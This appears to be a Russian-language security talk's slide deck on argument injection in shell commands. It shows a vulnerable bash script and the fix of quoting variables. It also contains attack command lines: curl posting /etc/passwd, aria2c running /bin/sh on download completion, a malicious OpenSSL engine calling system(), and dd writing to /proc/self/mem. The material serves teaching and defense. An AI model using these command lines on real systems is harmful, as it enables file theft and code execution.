Берём всё в кавычки: к чему могут привести инъекции в аргументы команд

Владимир Черепанов

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
hello.txt
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
hello.txt
Hello, World!
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
hello.txt password.txt
```

О чем вообще речь?

```
#!/bin/bash

echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
Enter a filename:
hello.txt password.txt
Hello, World!
mysecretpa$$word
```

О чем вообще речь?

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

О чем вообще речь?

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
+ echo 'Enter a filename:'
Enter a filename:
+ read filename
```

О чем вообще речь?

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
+ echo 'Enter a filename:'
Enter a filename:
+ read filename
hello.txt password.txt
+ cat hello.txt password.txt
```

О чем вообще речь?

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

```
$ ./example.sh
+ echo 'Enter a filename:'
Enter a filename:
+ read filename
hello.txt password.txt
+ cat hello.txt password.txt
Hello, World!
mysecretpa$$word
```

Векторы

- Чтение файлов
- Запись файлов
- Исполнение кода (RCE)

О чем вообще речь?

```
$ ./example.sh
+ echo 'Enter filename'
Enter filename
+ read filename
```

О чем вообще речь?

```
$ ./example.sh
+ echo 'Enter filename'
Enter filename
+ read filename
hello.txt ; ls
```

О чем вообще речь?

```
$ ./example.sh
+ echo 'Enter filename'
Enter filename
+ read filename
hello.txt ; ls
+ cat hello.txt ';' ls
```

О чем вообще речь? (не про OS injection)

```
$ ./example.sh
+ echo 'Enter filename'
Enter filename
+ read filename
hello.txt ; ls
+ cat hello.txt ';' ls
Hello, World!
cat: ';': No such file or directory
cat: ls: No such file or directory
```

Системный вызов execve

Системный вызов — обращение прикладной программы к ядру операционной системы для выполнения какой-либо операции.

Для выполнения межпроцессной операции или операции, требующей доступа к оборудованию, программа обращается к ядру, которое, в зависимости от полномочий вызывающего процесса, исполняет либо отказывает в исполнении такого вызова.

(Википедия)

Системный вызов execve

```
#include <unistd.h>

int execve(
    const char *pathname,
    char *const argv[],
    char *const envp[]
);
```

Системный вызов execve

```
#include <unistd.h>

int execve(
    const char *pathname,
    char *const argv[],
    char *const envp[]
);
```

```
char *argv[] = {
    "/bin/bash",
    "example.sh",
    NULL
};
char *environ[] = { NULL };
execve(
    "/bin/bash", argv, environ
);
```

Системный вызов execve

```
Python:
    subprocess.Popen()
```
(аргументы передаются в массиве)

```
.NET:
    System.Diagnostics.Process.Start()
```
(аргументы передаются через пробелы)

Полезные утилиты

Полезные утилиты

- man (от англ. manual) — команда Unix, предназначенная для форматирования и вывода справочных страниц.
  Каждая страница справки является самостоятельным документом и пишется разработчиками соответствующего программного обеспечения.
  (Википедия)

Примеры

curl

cURL — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL.

Программа поддерживает протоколы: FTP, FTPS, HTTP, HTTPS, TFTP, SCP, SFTP, Telnet, DICT, LDAP, а также POP3, IMAP и SMTP.

(Википедия)

man curl

man curl

```
--output <file>
          Write output to <file> instead of stdout.
```

man curl

--output <file>

Write output to <file> instead of stdout.

--dump-header <filename>

(HTTP FTP) Write the received protocol headers to the specified file.

man curl

```
--output <file>
          Write output to <file> instead of stdout.

--dump-header <filename>
          (HTTP FTP) Write the received protocol headers to
          the specified file.

--data <data>
          Sends the specified data in a POST request to the
          HTTP server.  If you start the data with the
          letter @, the rest should be a file name to read
          the data from.
```

curl

```
curl "https://example.com"
```

curl

```
curl "https://example.com" --out filename.txt
```

curl

```
curl "https://example.com" --dump-header headers.txt
```

curl

```
curl "https://example.com" --data @/etc/passwd
```

gopher protocol

Gopher — сетевой протокол распределённого поиска и передачи документов, который был широко распространён в Интернете до 1993 года.

Протокол предназначается для предоставления доступа к документам в Интернет, но имеет меньше возможностей, чем HTTP, и впоследствии был почти полностью вытеснен им.

(Википедия)

gopher protocol

```
curl gopher://<HOSTNAME>:<PORT>/<DATA>
```

gopher protocol

```
curl gopher://<HOSTNAME>:<PORT>/<DATA>
```

```
curl gopher://1.2.3.4:80/HELLOWORLD
```

```
HELLOWORLD
```

aria2

Aria2 — свободная кроссплатформенная консольная программа для загрузки файлов по сети.

Поддерживаемые протоколы: HTTP, HTTPS, FTP, BitTorrent и Metalink.

Автор программы - Тацухиро Цудзикава, распространяет её под лицензией GPLv2.

(Википедия)

man aria2c

man aria2c

```
-o, --out=<FILE>
          The file name of the downloaded file.
```

man aria2c

```
-o, --out=<FILE>
          The file name of the downloaded file.

--on-download-complete=<COMMAND>
          Set the command to be executed after download
          completed.  Possible Values: /path/to/command
```

man aria2c

```
-o, --out=<FILE>
          The file name of the downloaded file.

--on-download-complete=<COMMAND>
          Set the command to be executed after download
          completed.  Possible Values: /path/to/command

          /bin/sh <gid>
```

man aria2c

```
-o, --out=<FILE>
          The file name of the downloaded file.

--on-download-complete=<COMMAND>
          Set the command to be executed after download
          completed.  Possible Values: /path/to/command

--gid=<GID>
          Set GID manually.  The GID must be hex string
          of 16 characters, thus [0-9a-fA-F] are allowed
          and leading zeros must not be stripped.
```

aria2

```
aria2c \
    "https://example.com" \
    --out output.txt
```

aria2

```
aria2c \
    "https://example.com" \
    --out output.txt \
    --on-download-complete /bin/sh
```

aria2

```
aria2c \
    "https://example.com" \
    --out aaaaaaaaaaaaaaaa
    --on-download-complete /bin/sh \
    --gid aaaaaaaaaaaaaaaa
```

aria2

```
aria2c \
    "https://example.com" \
    --out aaaaaaaaaaaaaaaa
    --on-download-complete /bin/sh \
    --gid aaaaaaaaaaaaaaaa

/bin/sh aaaaaaaaaaaaaaaa
```

dig

dig (сокращение от «domain information groper») — утилита (DNS-клиент), предоставляющая пользователю интерфейс командной строки для обращения к системе DNS.

Позволяет задавать различные типы запросов и запрашивать произвольно указываемые сервера.

(Википедия)

man dig

```
@server
      The name or IP address of the name server to query.

-f file
      Batch mode: dig reads a list of lookup requests to
      process from the given file.  Each line in the file
      should be organized in the same way they would be
      presented as queries to dig using the command-line
      interface.
```

dig

```
$ dig @1.2.3.4 -f hello.txt
```

dig

```
$ dig @1.2.3.4 -f hello.txt

; <<>> DiG 9.16.1-Ubuntu <<>> Hello, World!
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

;; connection timed out; no servers could be reached
```

openssl

OpenSSL — полноценная криптографическая библиотека с открытым исходным кодом, широко известна из-за расширения SSL/TLS, используемого в веб-протоколе HTTPS.
Поддерживает почти все низкоуровневые алгоритмы хеширования, шифрования и электронной подписи, а также реализует большинство популярных криптографических стандартов

(Википедия)

man openssl

```
-in <file>      input file
-out <file>     output file
-e              encrypt
-d              decrypt
-K              key in hex is the next argument
-iv             iv in hex is the next argument
```

man openssl

```
-in <file>      input file
-out <file>     output file
-e              encrypt
-d              decrypt
-K              key in hex is the next argument
-iv             iv in hex is the next argument
-engine e       use engine e, possibly a hardware device.
```

openssl engine

```
#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
{
    system("ls -la && id");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
```

openssl

```
$ openssl ... -engine /tmp/engine.so
```

openssl

```
$ openssl ... -engine /tmp/engine.so
```

```
invalid engine "/tmp/engine.so"
139644963072768:error:260B606D:engine routines:DYNAMIC_LOAD:init
failed:eng_dyn.c:545:
139644963072768:error:2606A074:engine routines:ENGINE_by_id:no such
engine:eng_list.c:390:id=/tmp/engine.so
139644963072768:error:260B606D:engine routines:DYNAMIC_LOAD:init
failed:eng_dyn.c:545:
bad decrypt
139644963072768:error:0606506D:digital envelope
routines:EVP_DecryptFinal_ex:wrong final block length:evp_enc.c:520:
uid=1000(user) gid=1000(user) groups=1000(user)
```

dd

dd — программа UNIX, предназначенная как для копирования, так и для конвертации файлов.

Позволяет скопировать первые n байт файла, пропустить m байт от начала, прочитать файл с дефектного носителя, транслировать содержимое файла в ASCII и т.п.

(Википедия)

man dd

```
bs=BYTES
        read and write up to BYTES bytes at a time

count=N
        copy only N input blocks

of=FILE
        write to FILE instead of stdout

seek=N
        skip N obs-sized blocks at start of output
```

dd

```
$ dd bs=16 count=1 of=/proc/self/mem seek=<ADDRESS>
```

Как защититься?

Как защититься?

Не допускать инъекции в аргументы.

Как защититься?

Не допускать инъекции в аргументы.

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

Как защититься?

Не допускать инъекции в аргументы.

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat $filename
```

```
#!/bin/bash

set -x
echo "Enter a filename:"
read filename
cat "$filename"
```

Как защититься?

```
$ ./example.sh
+ echo 'Enter filename'
Enter filename
+ read filename
hello.txt password.txt
+ cat 'hello.txt password.txt'
cat: 'hello.txt password.txt': No such file or directory
```

Как защититься?

Не допускать инъекции в аргументы.

Обрабатывать каждый аргумент отдельно, экранировать кавычки, оборачивать в кавычки, соединять в массив (или по пробелу).

Как защититься?

Не допускать инъекции в аргументы.

Обрабатывать каждый аргумент отдельно, экранировать кавычки, оборачивать в кавычки, соединять в массив (или по пробелу).

Использовать удобные API для создания процессов.

Как меня найти

- https://github.com/keltecc
- https://telegram.me/keltecc